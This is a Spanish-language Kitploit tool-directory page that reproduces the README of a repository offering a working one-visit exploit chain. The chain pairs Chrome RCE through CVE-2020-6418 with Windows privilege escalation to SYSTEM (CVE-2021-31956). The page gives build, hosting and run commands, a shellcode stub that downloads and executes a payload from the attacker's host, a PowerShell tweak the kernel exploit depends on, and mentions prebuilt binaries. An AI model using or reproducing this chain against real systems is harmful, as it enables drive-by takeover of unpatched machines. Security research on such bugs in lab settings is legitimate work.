Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/a-mansilla/cve-2020-6418
Escalada de PrivilegiosFrameworks de ExploitsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebDesarrollo de PayloadsExplotación de Binarios
GitHuba-mansilla/cve-2020-6418

CVE-2020-6418

Cadena de explotación de una sola etapa para CVE-2020-6418 (RCE en Chrome) encadenada con escalada de privilegios de Windows a SYSTEM, con scripts de compilación y binarios precompilados.

Ver Repositorio
hace 8 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2020-6418: RCE de Chrome encadenado con una escalada de privilegios de Windows

Este repositorio contiene una cadena de explotación funcional de una sola etapa para CVE-2020-6418 (un bug de confusión de tipos en el compilador Turbofan de V8, que afecta a Google Chrome 80.0.3987.87 x64). Visitar una página maliciosa con un Chrome vulnerable te da ejecución de código nativo dentro del proceso del renderizador. Desde allí, el exploit descarga y lanza un segundo binario que encadena dos bugs más (una comprobación de longitud ausente en NtPowerInformation más CVE-2021-31956, un desbordamiento de pool en ntfs.sys) para pasar de un proceso sin privilegios hasta NT AUTHORITY\SYSTEM.

Todo el proceso se ejecuta con una sola visita a la página, sin pasos manuales entre el bug del navegador y la shell de SYSTEM.

El crédito original del exploit de Chrome es para Clement Lecigne (descubrimiento del bug, Google TAG) e Istvan Kurucsai / Vignesh S Rao (la prueba de concepto original, que luego se distribuyó como módulo de Metasploit). Eliminamos las dependencias de Metasploit y reconstruimos el mecanismo de entrega en torno a un descargador nativo en lugar de incrustar el payload en la página. Los detalles están en browser-exploit/README.md.

Estructura del repositorio

root@kitploit:~
browser-exploit/        El exploit de Chrome (el bug de V8 + el stub nativo)
  exploit_template.html   Código fuente HTML/JS, con un marcador de posición para el stub
  build_exploit.py         genera exploit.html a partir de la plantilla
  shellcode/                el código nativo que el exploit inyecta en Chrome
privilege-escalation/    La cadena EoP de Windows, un programa C independiente
prebuilt/                Binarios listos para usar (exploit.html y exploit.exe)
notes/                   Un enfoque anterior que probamos y abandonamos, conservado
                         como registro de lo que aprendimos en el camino

Lo que necesitas

Máquina del atacante (el "host"): cualquier Windows reciente con Visual Studio 2019 o 2022 (cualquier edición, Community es suficiente, o solo las Build Tools), NASM y Python 3. Aquí es donde compilas todo y sirves la página del exploit.

Máquina objetivo (la "VM"): esta tiene que coincidir exactamente; el exploit depende de offsets hardcodeados que solo son válidos para estas compilaciones específicas.

  • Windows 10 20H1, build 19041.264 x64. Compruébalo con winver o [System.Environment]::OSVersion en PowerShell.
  • Google Chrome 80.0.3987.87 x64 (el bug se parcheó en 80.0.3987.122, así que tiene que ser esta compilación exacta o una anterior vulnerable). Compruébalo con chrome://version.
  • Una carpeta C:\lab8 (puede estar vacía, solo necesita existir).

Probamos esto en una VM de VMware Workstation con un adaptador de red host-only, pero cualquier configuración en la que la VM pueda alcanzar al host por HTTP funciona de la misma manera.

Inicio rápido

1. Compila todo en el host

root@kitploit:~
cd browser-exploit\shellcode
build.bat
cd ..
python build_exploit.py shellcode\download_and_run_stub.bin exploit.html

cd ..\privilege-escalation
build.bat

Antes de la primera compilación, abre browser-exploit\shellcode\download_and_run_stub.asm y edita estas dos líneas cerca del final:

root@kitploit:~
download_url:       db "http://YOUR_HOST_IP:8000/exploit.exe", 0
destination_path:   db "C:\lab8\exploit.exe", 0

YOUR_HOST_IP es la dirección IP de esta máquina tal como la ve la VM (ejecuta ipconfig en la VM y revisa el adaptador de red que coincida con tu red host-only o NAT, o simplemente ejecuta ipconfig en el host y usa el adaptador en la misma subred que la VM). destination_path debe coincidir con el lugar donde quieras que caiga el binario de EoP dentro de la VM; por defecto es C:\lab8.

Después de editar, vuelve a ensamblar el stub y regenera exploit.html (los dos comandos del paso 1, omitiendo la compilación de privilege-escalation, ya que esa no depende de la IP).

Si no quieres tocar el archivo de ensamblador para una prueba rápida, prebuilt/ ya tiene una copia funcional con nuestra IP de prueba incluida. Solo funcionará si tu red coincide por casualidad, así que compilar tu propia copia es el camino fiable.

2. Sirve el exploit desde el host

Coloca exploit.html y exploit.exe (el que se compila en privilege-escalation/) en la misma carpeta, y luego:

root@kitploit:~
python -m http.server 8000

exploit.exe tiene que ser accesible en la URL exacta que pusiste en download_url arriba, ya que el stub nativo lo descarga directamente, no a través del navegador.

Una nota rápida sobre el firewall del host: si la VM no puede alcanzar el puerto 8000, casi siempre es el Firewall de Windows Defender bloqueando la conexión entrante en una red no clasificada, o una regla residual que bloquea específicamente a python.exe (Windows a veces crea una automáticamente la primera vez que una aplicación intenta aceptar una conexión en una red no confiable). Revisa Get-NetFirewallRule -DisplayName "python.exe" en un PowerShell elevado si te encuentras con esto.

3. Configura la VM

  • Confirma que la compilación de Windows y la versión de Chrome coinciden con los requisitos anteriores.

  • Crea C:\lab8 si aún no existe (vacía está bien).

  • Si esta es una VM limpia que nunca pasó por un ciclo de arranque real, C:\Windows\bootstat.dat podría faltar o estar vacío, y el bug del kernel necesita que exista con contenido válido. Si es necesario:

    root@kitploit:~
    if (!(Test-Path C:\Windows\bootstat.dat)) {
        fsutil file createnew C:\Windows\bootstat.dat 2048
    }
    $bytes = [System.IO.File]::ReadAllBytes("C:\Windows\bootstat.dat")
    $bytes[4] = 1
    [System.IO.File]::WriteAllBytes("C:\Windows\bootstat.dat", $bytes)
    

4. Ejecútalo

Lanza el Chrome vulnerable con --no-sandbox (este PoC no incluye un escape del sandbox, así que el renderizador tiene que estar ya sin sandbox para acceder al sistema de archivos y lanzar procesos) y apúntalo a la página:

root@kitploit:~
chrome.exe --no-sandbox http://YOUR_HOST_IP:8000/exploit.html

Abre DevTools (F12) y revisa la pestaña Console; el exploit registra su progreso allí. Si todo cuadra, deberías ver que la confusión de tipos tiene éxito, que el stub descarga y lanza el binario de EoP, y después de unos segundos una nueva ventana de consola ejecutándose como NT AUTHORITY\SYSTEM.

Si algo sale mal

  • Chrome se bloquea en lugar de ejecutar el exploit: casi siempre es una discrepancia en la compilación de Chrome. Los offsets en exploit_template.html (objleaker_offset, float_carw_elements_offset, y el resto) son específicos de 80.0.3987.87 x64; no funcionarán en una compilación diferente, ni siquiera con una versión de parche distinta.
  • El binario de EoP abre una consola pero nunca llega a SYSTEM: misma idea, verifica que la compilación de Windows sea exactamente 19041.264. Los offsets del kernel (DEFAULT_RVA_ANCHOR, DEFAULT_RVA_SEPSD, y los diversos offsets de EPROCESS/ETHREAD en privilege-escalation/exploit.c) están hardcodeados para esa compilación.
  • El stub de descarga parece no descargar nada: vuelve a verificar que download_url en download_and_run_stub.asm coincida con la dirección y el puerto en los que el host está sirviendo realmente, y que la VM pueda alcanzarlo (un simple curl http://YOUR_HOST_IP:8000/exploit.exe desde dentro de la VM es una forma rápida de confirmar la conectividad antes de culpar al exploit).

Más detalles sobre cada pieza, incluido por qué está construida como está, en el README de cada carpeta.

Descargar herramienta